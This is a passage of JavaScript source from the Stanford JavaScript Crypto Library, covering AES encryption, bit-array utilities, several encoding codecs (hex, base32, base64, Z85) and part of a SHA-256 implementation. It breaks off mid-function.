                return "NOT READY: " + this.message;
            };
            this.message = message;
        }
    }
};
/** @fileOverview Low-level AES implementation.
 *
 * This file contains a low-level implementation of AES, optimized for
 * size and for efficiency on several browsers.  It is based on
 * OpenSSL's aes_core.c, a public-domain implementation by Vincent
 * Rijmen, Antoon Bosselaers and Paulo Barreto.
 *
 * An older version of this implementation is available in the public
 * domain, but this one is (c) Emily Stark, Mike Hamburg, Dan Boneh,
 * Stanford University 2008-2010 and BSD-licensed for liability
 * reasons.
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

/**
 * Schedule out an AES key for both encryption and decryption.  This
 * is a low-level class.  Use a cipher mode to do bulk encryption.
 *
 * @constructor
 * @param {Array} key The key as an array of 4, 6 or 8 words.
 */
sjcl.cipher.aes = function (key) {
    if (!this._tables[0][0][0]) {
        this._precompute();
    }

    var i, j, tmp,
        encKey, decKey,
        sbox = this._tables[0][4],
        decTable = this._tables[1],
        keyLen = key.length,
        rcon = 1;

    if (keyLen !== 4 && keyLen !== 6 && keyLen !== 8) {
        throw new sjcl.exception.invalid("invalid aes key size");
    }

    this._key = [encKey = key.slice(0), decKey = []];

    // schedule encryption keys
    for (i = keyLen; i < 4 * keyLen + 28; i++) {
        tmp = encKey[i - 1];

        // apply sbox
        if (i % keyLen === 0 || (keyLen === 8 && i % keyLen === 4)) {
            tmp = sbox[tmp >>> 24] << 24 ^ sbox[tmp >> 16 & 255] << 16 ^ sbox[tmp >> 8 & 255] << 8 ^ sbox[tmp & 255];

            // shift rows and add rcon
            if (i % keyLen === 0) {
                tmp = tmp << 8 ^ tmp >>> 24 ^ rcon << 24;
                rcon = rcon << 1 ^ (rcon >> 7) * 283;
            }
        }

        encKey[i] = encKey[i - keyLen] ^ tmp;
    }

    // schedule decryption keys
    for (j = 0; i; j++, i--) {
        tmp = encKey[j & 3 ? i : i - 4];
        if (i <= 4 || j < 4) {
            decKey[j] = tmp;
        } else {
            decKey[j] = decTable[0][sbox[tmp >>> 24]] ^
                decTable[1][sbox[tmp >> 16 & 255]] ^
                decTable[2][sbox[tmp >> 8 & 255]] ^
                decTable[3][sbox[tmp & 255]];
        }
    }
};

sjcl.cipher.aes.prototype = {
    // public
    /* Something like this might appear here eventually
    name: "AES",
    blockSize: 4,
    keySizes: [4,6,8],
    */

    /**
     * Encrypt an array of 4 big-endian words.
     * @param {Array} data The plaintext.
     * @return {Array} The ciphertext.
     */
    encrypt: function (data) {
        return this._crypt(data, 0);
    },

    /**
     * Decrypt an array of 4 big-endian words.
     * @param {Array} data The ciphertext.
     * @return {Array} The plaintext.
     */
    decrypt: function (data) {
        return this._crypt(data, 1);
    },

    /**
     * The expanded S-box and inverse S-box tables.  These will be computed
     * on the client so that we don't have to send them down the wire.
     *
     * There are two tables, _tables[0] is for encryption and
     * _tables[1] is for decryption.
     *
     * The first 4 sub-tables are the expanded S-box with MixColumns.  The
     * last (_tables[01][4]) is the S-box itself.
     *
     * @private
     */
    _tables: [
        [
            [],
            [],
            [],
            [],
            []
        ],
        [
            [],
            [],
            [],
            [],
            []
        ]
    ],

    /**
     * Expand the S-box tables.
     *
     * @private
     */
    _precompute: function () {
        var encTable = this._tables[0],
            decTable = this._tables[1],
            sbox = encTable[4],
            sboxInv = decTable[4],
            i, x, xInv, d = [],
            th = [],
            x2, x4, x8, s, tEnc, tDec;

        // Compute double and third tables
        for (i = 0; i < 256; i++) {
            th[(d[i] = i << 1 ^ (i >> 7) * 283) ^ i] = i;
        }

        for (x = xInv = 0; !sbox[x]; x ^= x2 || 1, xInv = th[xInv] || 1) {
            // Compute sbox
            s = xInv ^ xInv << 1 ^ xInv << 2 ^ xInv << 3 ^ xInv << 4;
            s = s >> 8 ^ s & 255 ^ 99;
            sbox[x] = s;
            sboxInv[s] = x;

            // Compute MixColumns
            x8 = d[x4 = d[x2 = d[x]]];
            tDec = x8 * 0x1010101 ^ x4 * 0x10001 ^ x2 * 0x101 ^ x * 0x1010100;
            tEnc = d[s] * 0x101 ^ s * 0x1010100;

            for (i = 0; i < 4; i++) {
                encTable[i][x] = tEnc = tEnc << 24 ^ tEnc >>> 8;
                decTable[i][s] = tDec = tDec << 24 ^ tDec >>> 8;
            }
        }

        // Compactify.  Considerable speedup on Firefox.
        for (i = 0; i < 5; i++) {
            encTable[i] = encTable[i].slice(0);
            decTable[i] = decTable[i].slice(0);
        }
    },

    /**
     * Encryption and decryption core.
     * @param {Array} input Four words to be encrypted or decrypted.
     * @param dir The direction, 0 for encrypt and 1 for decrypt.
     * @return {Array} The four encrypted or decrypted words.
     * @private
     */
    _crypt: function (input, dir) {
        if (input.length !== 4) {
            throw new sjcl.exception.invalid("invalid aes block size");
        }

        var key = this._key[dir],
            // state variables a,b,c,d are loaded with pre-whitened data
            a = input[0] ^ key[0],
            b = input[dir ? 3 : 1] ^ key[1],
            c = input[2] ^ key[2],
            d = input[dir ? 1 : 3] ^ key[3],
            a2, b2, c2,

            nInnerRounds = key.length / 4 - 2,
            i,
            kIndex = 4,
            out = [0, 0, 0, 0],
            table = this._tables[dir],

            // load up the tables
            t0 = table[0],
            t1 = table[1],
            t2 = table[2],
            t3 = table[3],
            sbox = table[4];

        // Inner rounds.  Cribbed from OpenSSL.
        for (i = 0; i < nInnerRounds; i++) {
            a2 = t0[a >>> 24] ^ t1[b >> 16 & 255] ^ t2[c >> 8 & 255] ^ t3[d & 255] ^ key[kIndex];
            b2 = t0[b >>> 24] ^ t1[c >> 16 & 255] ^ t2[d >> 8 & 255] ^ t3[a & 255] ^ key[kIndex + 1];
            c2 = t0[c >>> 24] ^ t1[d >> 16 & 255] ^ t2[a >> 8 & 255] ^ t3[b & 255] ^ key[kIndex + 2];
            d = t0[d >>> 24] ^ t1[a >> 16 & 255] ^ t2[b >> 8 & 255] ^ t3[c & 255] ^ key[kIndex + 3];
            kIndex += 4;
            a = a2;
            b = b2;
            c = c2;
        }

        // Last round.
        for (i = 0; i < 4; i++) {
            out[dir ? 3 & -i : i] =
                sbox[a >>> 24] << 24 ^
                sbox[b >> 16 & 255] << 16 ^
                sbox[c >> 8 & 255] << 8 ^
                sbox[d & 255] ^
                key[kIndex++];
            a2 = a;
            a = b;
            b = c;
            c = d;
            d = a2;
        }

        return out;
    }
};

/** @fileOverview Arrays of bits, encoded as arrays of Numbers.
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

/**
 * Arrays of bits, encoded as arrays of Numbers.
 * @namespace
 * @description
 * <p>
 * These objects are the currency accepted by SJCL's crypto functions.
 * </p>
 *
 * <p>
 * Most of our crypto primitives operate on arrays of 4-byte words internally,
 * but many of them can take arguments that are not a multiple of 4 bytes.
 * This library encodes arrays of bits (whose size need not be a multiple of 8
 * bits) as arrays of 32-bit words.  The bits are packed, big-endian, into an
 * array of words, 32 bits at a time.  Since the words are double-precision
 * floating point numbers, they fit some extra data.  We use this (in a private,
 * possibly-changing manner) to encode the number of bits actually  present
 * in the last word of the array.
 * </p>
 *
 * <p>
 * Because bitwise ops clear this out-of-band data, these arrays can be passed
 * to ciphers like AES which want arrays of words.
 * </p>
 */
sjcl.bitArray = {
    /**
     * Array slices in units of bits.
     * @param {bitArray} a The array to slice.
     * @param {Number} bstart The offset to the start of the slice, in bits.
     * @param {Number} bend The offset to the end of the slice, in bits.  If this is undefined,
     * slice until the end of the array.
     * @return {bitArray} The requested slice.
     */
    bitSlice: function (a, bstart, bend) {
        a = sjcl.bitArray._shiftRight(a.slice(bstart / 32), 32 - (bstart & 31)).slice(1);
        return (bend === undefined) ? a : sjcl.bitArray.clamp(a, bend - bstart);
    },

    /**
     * Extract a number packed into a bit array.
     * @param {bitArray} a The array to slice.
     * @param {Number} bstart The offset to the start of the slice, in bits.
     * @param {Number} blength The length of the number to extract.
     * @return {Number} The requested slice.
     */
    extract: function (a, bstart, blength) {
        // FIXME: this Math.floor is not necessary at all, but for some reason
        // seems to suppress a bug in the Chromium JIT.
        var x, sh = Math.floor((-bstart - blength) & 31);
        if ((bstart + blength - 1 ^ bstart) & -32) {
            // it crosses a boundary
            x = (a[bstart / 32 | 0] << (32 - sh)) ^ (a[bstart / 32 + 1 | 0] >>> sh);
        } else {
            // within a single word
            x = a[bstart / 32 | 0] >>> sh;
        }
        return x & ((1 << blength) - 1);
    },

    /**
     * Concatenate two bit arrays.
     * @param {bitArray} a1 The first array.
     * @param {bitArray} a2 The second array.
     * @return {bitArray} The concatenation of a1 and a2.
     */
    concat: function (a1, a2) {
        if (a1.length === 0 || a2.length === 0) {
            return a1.concat(a2);
        }

        var last = a1[a1.length - 1],
            shift = sjcl.bitArray.getPartial(last);
        if (shift === 32) {
            return a1.concat(a2);
        } else {
            return sjcl.bitArray._shiftRight(a2, shift, last | 0, a1.slice(0, a1.length - 1));
        }
    },

    /**
     * Find the length of an array of bits.
     * @param {bitArray} a The array.
     * @return {Number} The length of a, in bits.
     */
    bitLength: function (a) {
        var l = a.length,
            x;
        if (l === 0) {
            return 0;
        }
        x = a[l - 1];
        return (l - 1) * 32 + sjcl.bitArray.getPartial(x);
    },

    /**
     * Truncate an array.
     * @param {bitArray} a The array.
     * @param {Number} len The length to truncate to, in bits.
     * @return {bitArray} A new array, truncated to len bits.
     */
    clamp: function (a, len) {
        if (a.length * 32 < len) {
            return a;
        }
        a = a.slice(0, Math.ceil(len / 32));
        var l = a.length;
        len = len & 31;
        if (l > 0 && len) {
            a[l - 1] = sjcl.bitArray.partial(len, a[l - 1] & 0x80000000 >> (len - 1), 1);
        }
        return a;
    },

    /**
     * Make a partial word for a bit array.
     * @param {Number} len The number of bits in the word.
     * @param {Number} x The bits.
     * @param {Number} [_end=0] Pass 1 if x has already been shifted to the high side.
     * @return {Number} The partial word.
     */
    partial: function (len, x, _end) {
        if (len === 32) {
            return x;
        }
        return (_end ? x | 0 : x << (32 - len)) + len * 0x10000000000;
    },

    /**
     * Get the number of bits used by a partial word.
     * @param {Number} x The partial word.
     * @return {Number} The number of bits used by the partial word.
     */
    getPartial: function (x) {
        return Math.round(x / 0x10000000000) || 32;
    },

    /**
     * Compare two arrays for equality in a predictable amount of time.
     * @param {bitArray} a The first array.
     * @param {bitArray} b The second array.
     * @return {boolean} true if a == b; false otherwise.
     */
    equal: function (a, b) {
        if (sjcl.bitArray.bitLength(a) !== sjcl.bitArray.bitLength(b)) {
            return false;
        }
        var x = 0,
            i;
        for (i = 0; i < a.length; i++) {
            x |= a[i] ^ b[i];
        }
        return (x === 0);
    },

    /** Shift an array right.
     * @param {bitArray} a The array to shift.
     * @param {Number} shift The number of bits to shift.
     * @param {Number} [carry=0] A byte to carry in
     * @param {bitArray} [out=[]] An array to prepend to the output.
     * @private
     */
    _shiftRight: function (a, shift, carry, out) {
        var i, last2 = 0,
            shift2;
        if (out === undefined) {
            out = [];
        }

        for (; shift >= 32; shift -= 32) {
            out.push(carry);
            carry = 0;
        }
        if (shift === 0) {
            return out.concat(a);
        }

        for (i = 0; i < a.length; i++) {
            out.push(carry | a[i] >>> shift);
            carry = a[i] << (32 - shift);
        }
        last2 = a.length ? a[a.length - 1] : 0;
        shift2 = sjcl.bitArray.getPartial(last2);
        out.push(sjcl.bitArray.partial(shift + shift2 & 31, (shift + shift2 > 32) ? carry : out.pop(), 1));
        return out;
    },

    /** xor a block of 4 words together.
     * @private
     */
    _xor4: function (x, y) {
        return [x[0] ^ y[0], x[1] ^ y[1], x[2] ^ y[2], x[3] ^ y[3]];
    },

    /** byteswap a word array inplace.
     * (does not handle partial words)
     * @param {sjcl.bitArray} a word array
     * @return {sjcl.bitArray} byteswapped array
     */
    byteswapM: function (a) {
        var i, v, m = 0xff00;
        for (i = 0; i < a.length; ++i) {
            v = a[i];
            a[i] = (v >>> 24) | ((v >>> 8) & m) | ((v & m) << 8) | (v << 24);
        }
        return a;
    }
};
/** @fileOverview Bit array codec implementations.
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

/**
 * UTF-8 strings
 * @namespace
 */
sjcl.codec.utf8String = {
    /** Convert from a bitArray to a UTF-8 string. */
    fromBits: function (arr) {
        var out = "",
            bl = sjcl.bitArray.bitLength(arr),
            i, tmp;
        for (i = 0; i < bl / 8; i++) {
            if ((i & 3) === 0) {
                tmp = arr[i / 4];
            }
            out += String.fromCharCode(tmp >>> 24);
            tmp <<= 8;
        }
        return decodeURIComponent(escape(out));
    },

    /** Convert from a UTF-8 string to a bitArray. */
    toBits: function (str) {
        str = unescape(encodeURIComponent(str));
        var out = [],
            i, tmp = 0;
        for (i = 0; i < str.length; i++) {
            tmp = tmp << 8 | str.charCodeAt(i);
            if ((i & 3) === 3) {
                out.push(tmp);
                tmp = 0;
            }
        }
        if (i & 3) {
            out.push(sjcl.bitArray.partial(8 * (i & 3), tmp));
        }
        return out;
    }
};
/** @fileOverview Bit array codec implementations.
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

/**
 * Hexadecimal
 * @namespace
 */
sjcl.codec.hex = {
    /** Convert from a bitArray to a hex string. */
    fromBits: function (arr) {
        var out = "",
            i;
        for (i = 0; i < arr.length; i++) {
            out += ((arr[i] | 0) + 0xF00000000000).toString(16).substr(4);
        }
        return out.substr(0, sjcl.bitArray.bitLength(arr) / 4); //.replace(/(.{8})/g, "$1 ");
    },
    /** Convert from a hex string to a bitArray. */
    toBits: function (str) {
        var i, out = [],
            len;
        str = str.replace(/\s|0x/g, "");
        len = str.length;
        str = str + "00000000";
        for (i = 0; i < str.length; i += 8) {
            out.push(parseInt(str.substr(i, 8), 16) ^ 0);
        }
        return sjcl.bitArray.clamp(out, len * 4);
    }
};

/** @fileOverview Bit array codec implementations.
 *
 * @author Nils Kenneweg
 */

/**
 * Base32 encoding/decoding
 * @namespace
 */
sjcl.codec.base32 = {
    /** The base32 alphabet.
     * @private
     */
    _chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567",
    _hexChars: "0123456789ABCDEFGHIJKLMNOPQRSTUV",

    /* bits in an array */
    BITS: 32,
    /* base to encode at (2^x) */
    BASE: 5,
    /* bits - base */
    REMAINING: 27,

    /** Convert from a bitArray to a base32 string. */
    fromBits: function (arr, _noEquals, _hex) {
        var BITS = sjcl.codec.base32.BITS,
            BASE = sjcl.codec.base32.BASE,
            REMAINING = sjcl.codec.base32.REMAINING;
        var out = "",
            i, bits = 0,
            c = sjcl.codec.base32._chars,
            ta = 0,
            bl = sjcl.bitArray.bitLength(arr);

        if (_hex) {
            c = sjcl.codec.base32._hexChars;
        }

        for (i = 0; out.length * BASE < bl;) {
            out += c.charAt((ta ^ arr[i] >>> bits) >>> REMAINING);
            if (bits < BASE) {
                ta = arr[i] << (BASE - bits);
                bits += REMAINING;
                i++;
            } else {
                ta <<= BASE;
                bits -= BASE;
            }
        }
        while ((out.length & 7) && !_noEquals) {
            out += "=";
        }

        return out;
    },

    /** Convert from a base32 string to a bitArray */
    toBits: function (str, _hex) {
        str = str.replace(/\s|=/g, '').toUpperCase();
        var BITS = sjcl.codec.base32.BITS,
            BASE = sjcl.codec.base32.BASE,
            REMAINING = sjcl.codec.base32.REMAINING;
        var out = [],
            i, bits = 0,
            c = sjcl.codec.base32._chars,
            ta = 0,
            x, format = "base32";

        if (_hex) {
            c = sjcl.codec.base32._hexChars;
            format = "base32hex";
        }

        for (i = 0; i < str.length; i++) {
            x = c.indexOf(str.charAt(i));
            if (x < 0) {
                // Invalid character, try hex format
                if (!_hex) {
                    try {
                        return sjcl.codec.base32hex.toBits(str);
                    } catch (e) {}
                }
                throw new sjcl.exception.invalid("this isn't " + format + "!");
            }
            if (bits > REMAINING) {
                bits -= REMAINING;
                out.push(ta ^ x >>> bits);
                ta = x << (BITS - bits);
            } else {
                bits += BASE;
                ta ^= x << (BITS - bits);
            }
        }
        if (bits & 56) {
            out.push(sjcl.bitArray.partial(bits & 56, ta, 1));
        }
        return out;
    }
};

sjcl.codec.base32hex = {
    fromBits: function (arr, _noEquals) {
        return sjcl.codec.base32.fromBits(arr, _noEquals, 1);
    },
    toBits: function (str) {
        return sjcl.codec.base32.toBits(str, 1);
    }
};
/** @fileOverview Bit array codec implementations.
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

/**
 * Base64 encoding/decoding 
 * @namespace
 */
sjcl.codec.base64 = {
    /** The base64 alphabet.
     * @private
     */
    _chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",

    /** Convert from a bitArray to a base64 string. */
    fromBits: function (arr, _noEquals, _url) {
        var out = "",
            i, bits = 0,
            c = sjcl.codec.base64._chars,
            ta = 0,
            bl = sjcl.bitArray.bitLength(arr);
        if (_url) {
            c = c.substr(0, 62) + '-_';
        }
        for (i = 0; out.length * 6 < bl;) {
            out += c.charAt((ta ^ arr[i] >>> bits) >>> 26);
            if (bits < 6) {
                ta = arr[i] << (6 - bits);
                bits += 26;
                i++;
            } else {
                ta <<= 6;
                bits -= 6;
            }
        }
        while ((out.length & 3) && !_noEquals) {
            out += "=";
        }
        return out;
    },

    /** Convert from a base64 string to a bitArray */
    toBits: function (str, _url) {
        str = str.replace(/\s|=/g, '');
        var out = [],
            i, bits = 0,
            c = sjcl.codec.base64._chars,
            ta = 0,
            x;
        if (_url) {
            c = c.substr(0, 62) + '-_';
        }
        for (i = 0; i < str.length; i++) {
            x = c.indexOf(str.charAt(i));
            if (x < 0) {
                throw new sjcl.exception.invalid("this isn't base64!");
            }
            if (bits > 26) {
                bits -= 26;
                out.push(ta ^ x >>> bits);
                ta = x << (32 - bits);
            } else {
                bits += 6;
                ta ^= x << (32 - bits);
            }
        }
        if (bits & 56) {
            out.push(sjcl.bitArray.partial(bits & 56, ta, 1));
        }
        return out;
    }
};

sjcl.codec.base64url = {
    fromBits: function (arr) {
        return sjcl.codec.base64.fromBits(arr, 1, 1);
    },
    toBits: function (str) {
        return sjcl.codec.base64.toBits(str, 1);
    }
};
/** @fileOverview Bit array codec implementations.
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

/**
 * Arrays of bytes
 * @namespace
 */
sjcl.codec.bytes = {
    /** Convert from a bitArray to an array of bytes. */
    fromBits: function (arr) {
        var out = [],
            bl = sjcl.bitArray.bitLength(arr),
            i, tmp;
        for (i = 0; i < bl / 8; i++) {
            if ((i & 3) === 0) {
                tmp = arr[i / 4];
            }
            out.push(tmp >>> 24);
            tmp <<= 8;
        }
        return out;
    },
    /** Convert from an array of bytes to a bitArray. */
    toBits: function (bytes) {
        var out = [],
            i, tmp = 0;
        for (i = 0; i < bytes.length; i++) {
            tmp = tmp << 8 | bytes[i];
            if ((i & 3) === 3) {
                out.push(tmp);
                tmp = 0;
            }
        }
        if (i & 3) {
            out.push(sjcl.bitArray.partial(8 * (i & 3), tmp));
        }
        return out;
    }
};
/**
 * @fileOverview    Z85 codec implementation.
 * @summary         Z85 encoding is the "string-safe" ZeroMQ variant of Base85 
 *                  encoding. The character set avoids the single and double
 *                  quotes and the backslash, making the encoded string
 *                  safe to embed in command-line interpreters.
 *                  Base85 uses 5 characters to encode 4 bytes of data,
 *                  making the encoded size 1/4 larger than the original;
 *                  this also makes it more efficient than uuencode or Base64,
 *                  which uses 4 characters to encode 3 bytes of data, making
 *                  the encoded size 1/3 larger than the original.
 *
 * @author          Manjul Apratim
 */

/**
 * Z85 encoding/decoding
 * http://rfc.zeromq.org/spec:32/Z85/
 * @namespace
 */
sjcl.codec.z85 = {
    /** The Z85 alphabet.
     * @private
     */
    _chars: "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.-:+=^!/*?&<>()[]{}@%$#",

    /** The decoder map (maps base 85 to base 256).
     * @private
     */
    _byteMap: [
        0x00, 0x44, 0x00, 0x54, 0x53, 0x52, 0x48, 0x00,
        0x4B, 0x4C, 0x46, 0x41, 0x00, 0x3F, 0x3E, 0x45,
        0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
        0x08, 0x09, 0x40, 0x00, 0x49, 0x42, 0x4A, 0x47,
        0x51, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A,
        0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32,
        0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A,
        0x3B, 0x3C, 0x3D, 0x4D, 0x00, 0x4E, 0x43, 0x00,
        0x00, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10,
        0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18,
        0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20,
        0x21, 0x22, 0x23, 0x4F, 0x00, 0x50, 0x00, 0x00
    ],

    /**
     * @summary Method to convert a bitArray to a Z85-encoded string.
     *          The bits represented by the array MUST be multiples of 4 bytes.
     * @param   {bitArray} arr - The input bitArray.
     * @return  {string} The Z85-encoded string.
     */
    fromBits: function (arr) {
        // Sanity checks
        if (!arr) {
            return null;
        }
        // Check we have multiples of 4 bytes (32 bits)
        if (0 !== sjcl.bitArray.bitLength(arr) % 32) {
            throw new sjcl.exception.invalid("Invalid bitArray length!");
        }

        var out = "",
            c = sjcl.codec.z85._chars;

        // Convert sequences of 4 bytes (each word) to 5 characters.
        for (var i = 0; i < arr.length; ++i) {
            // Each element in the bitArray is a 32-bit (4-byte) word.
            var word = arr[i];
            var value = 0;
            for (var j = 0; j < 4; ++j) {
                // Extract each successive byte from the word from the left.
                var byteChunk = (word >>> 8 * (4 - j - 1)) & 0xFF;
                // Accumulate in base-256
                value = value * 256 + byteChunk;
            }
            var divisor = 85 * 85 * 85 * 85;
            while (divisor) {
                out += c.charAt(Math.floor(value / divisor) % 85);
                divisor = Math.floor(divisor / 85);
            }
        }

        // Sanity check - each 4-bytes (1 word) should yield 5 characters.
        var encodedSize = arr.length * 5;
        if (out.length !== encodedSize) {
            throw new sjcl.exception.invalid("Bad Z85 conversion!");
        }
        return out;
    },

    /**
     * @summary Method to convert a Z85-encoded string to a bitArray.
     *          The length of the string MUST be a multiple of 5
     *          (else it is not a valid Z85 string).
     * @param   {string} str - A valid Z85-encoded string.
     * @return  {bitArray} The decoded data represented as a bitArray.
     */
    toBits: function (str) {
        // Sanity check
        if (!str) {
            return [];
        }
        // Accept only strings bounded to 5 bytes
        if (0 !== str.length % 5) {
            throw new sjcl.exception.invalid("Invalid Z85 string!");
        }

        var out = [],
            value = 0,
            byteMap = sjcl.codec.z85._byteMap;
        var word = 0,
            wordSize = 0;
        for (var i = 0; i < str.length;) {
            // Accumulate value in base 85.
            value = value * 85 + byteMap[str[i++].charCodeAt(0) - 32];
            if (0 === i % 5) {
                // Output value in base-256
                var divisor = 256 * 256 * 256;
                while (divisor) {
                    // The following is equivalent to a left shift by 8 bits
                    // followed by OR-ing; however, left shift may cause sign problems
                    // due to 2's complement interpretation,
                    // and we're operating on unsigned values.
                    word = (word * Math.pow(2, 8)) + (Math.floor(value / divisor) % 256);
                    ++wordSize;
                    // If 4 bytes have been acumulated, push the word into the bitArray.
                    if (4 === wordSize) {
                        out.push(word);
                        word = 0, wordSize = 0;
                    }
                    divisor = Math.floor(divisor / 256);
                }
                value = 0;
            }
        }

        return out;
    }
}
/** @fileOverview Javascript SHA-256 implementation.
 *
 * An older version of this implementation is available in the public
 * domain, but this one is (c) Emily Stark, Mike Hamburg, Dan Boneh,
 * Stanford University 2008-2010 and BSD-licensed for liability
 * reasons.
 *
 * Special thanks to Aldo Cortesi for pointing out several bugs in
 * this code.
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

/**
 * Context for a SHA-256 operation in progress.
 * @constructor
 */
sjcl.hash.sha256 = function (hash) {
    if (!this._key[0]) {
        this._precompute();
    }
    if (hash) {
        this._h = hash._h.slice(0);
        this._buffer = hash._buffer.slice(0);
        this._length = hash._length;
    } else {
        this.reset();
    }
};

/**
 * Hash a string or an array of words.
 * @static
 * @param {bitArray|String} data the data to hash.
 * @return {bitArray} The hash value, an array of 16 big-endian words.
 */
sjcl.hash.sha256.hash = function (data) {
    return (new sjcl.hash.sha256()).update(data).finalize();
};

sjcl.hash.sha256.prototype = {
    /**
     * The hash's block size, in bits.
     * @constant
     */
    blockSize: 512,

    /**
     * Reset the hash state.
     * @return this
     */
    reset: function () {
        this._h = this._init.slice(0);
        this._buffer = [];
        this._length = 0;
        return this;
    },

    /**
     * Input several words to the hash.
     * @param {bitArray|String} data the data to hash.
     * @return this
     */
    update: function (data) {
        if (typeof data === "string") {
            data = sjcl.codec.utf8String.toBits(data);
        }
        var i, b = this._buffer = sjcl.bitArray.concat(this._buffer, data),
            ol = this._length,
            nl = this._length = ol + sjcl.bitArray.bitLength(data);
        if (nl > 9007199254740991) {
            throw new sjcl.exception.invalid("Cannot hash more than 2^53 - 1 bits");
        }

        if (typeof Uint32Array !== 'undefined') {
            var c = new Uint32Array(b);
            var j = 0;
            for (i = 512 + ol - ((512 + ol) & 511); i <= nl; i += 512) {
                this._block(c.subarray(16 * j, 16 * (j + 1)));
                j += 1;
            }
            b.splice(0, 16 * j);
        } else {
            for (i = 512 + ol - ((512 + ol) & 511); i <= nl; i += 512) {
                this._block(b.splice(0, 16));
            }
        }
        return this;
    },

    /**
     * Complete hashing and output the hash value.
     * @return {bitArray} The hash value, an array of 8 big-endian words.
     */
    finalize: function () {
        var i, b = this._buffer,
            h = this._h;

        // Round out and push the buffer
        b = sjcl.bitArray.concat(b, [sjcl.bitArray.partial(1, 1)]);

        // Round out the buffer to a multiple of 16 words, less the 2 length words.
        for (i = b.length + 2; i & 15; i++) {
            b.push(0);
        }

        // append the length
        b.push(Math.floor(this._length / 0x100000000));
        b.push(this._length | 0);

        while (b.length) {
            this._block(b.splice(0, 16));
        }

        this.reset();
        return h;
    },

    /**
     * The SHA-256 initialization vector, to be precomputed.
     * @private
     */
    _init: [],
    /*
    _init:[0x6a09e667,0xbb67ae85,0x3c6ef372,0xa54ff53a,0x510e527f,0x9b05688c,0x1f83d9ab,0x5be0cd19],
    */

    /**
     * The SHA-256 hash key, to be precomputed.
     * @private
     */
    _key: [],
    /*
    _key:
      [0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
       0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
       0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
       0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
       0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
       0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
       0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
       0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2],
    */


    /**
     * Function to precompute _init and _key.
     * @private
     */
    _precompute: function () {
        var i = 0,
            prime = 2,
            factor, isPrime;

        function frac(x) {
            return (x - Math.floor(x)) * 0x100000000 | 0;
        }

        for (; i < 64; prime++) {
            isPrime = true;
            for (factor = 2; factor * factor <= prime; factor++) {
                if (prime % factor === 0) {
                    isPrime = false;
                    break;
                }
            }
            if (isPrime) {
                if (i < 8) {
                    this._init[i] = frac(Math.pow(prime, 1 / 2));
                }
                this._key[i] = frac(Math.pow(prime, 1 / 3));
                i++;
            }
        }
    },

    /**
     * Perform one cycle of SHA-256.
     * @param {Uint32Array|bitArray} w one block of words.
     * @private
     */
    _block: function (w) {
        var i, tmp, a, b,
            h = this._h,
            k = this._key,
            h0 = h[0],
            h1 = h[1],
            h2 = h[2],
            h3 = h[3],
            h4 = h[4],
            h5 = h[5],
            h6 = h[6],
            h7 = h[7];

        /* Rationale for placement of |0 :
         * If a value can overflow is original 32 bits by a factor of more than a few
         * million (2^23 ish), there is a possibility that it might overflow the
         * 53-bit mantissa and lose precision.
         *
         * To avoid this, we clamp back to 32 bits by |'ing with 0 on any value that
         * propagates around the loop, and on the hash state h[].  I don't believe
         * that the clamps on h4 and on h0 are strictly necessary, but it's close
         * (for h4 anyway), and better safe than sorry.
         *
         * The clamps on h[] are necessary for the output to be correct even in the
         * common case and for short inputs.
         */
        for (i = 0; i < 64; i++) {
            // load up the input word for this round
            if (i < 16) {
                tmp = w[i];
            } else {
                a = w[(i + 1) & 15];
                b = w[(i + 14) & 15];
                tmp = w[i & 15] = ((a >>> 7 ^ a >>> 18 ^ a >>> 3 ^ a << 25 ^ a << 14) +
                    (b >>> 17 ^ b >>> 19 ^ b >>> 10 ^ b << 15 ^ b << 13) +
                    w[i & 15] + w[(i + 9) & 15]) | 0;
            }

            tmp = (tmp + h7 + (h4 >>> 6 ^ h4 >>> 11 ^ h4 >>> 25 ^ h4 << 26 ^ h4 << 21 ^ h4 << 7) + (h6 ^ h4 & (h5 ^ h6)) + k[i]); // | 0;

            // shift register
            h7 = h6;
            h6 = h5;
            h5 = h4;
            h4 = h3 + tmp | 0;
            h3 = h2;
            h2 = h1;
            h1 = h0;

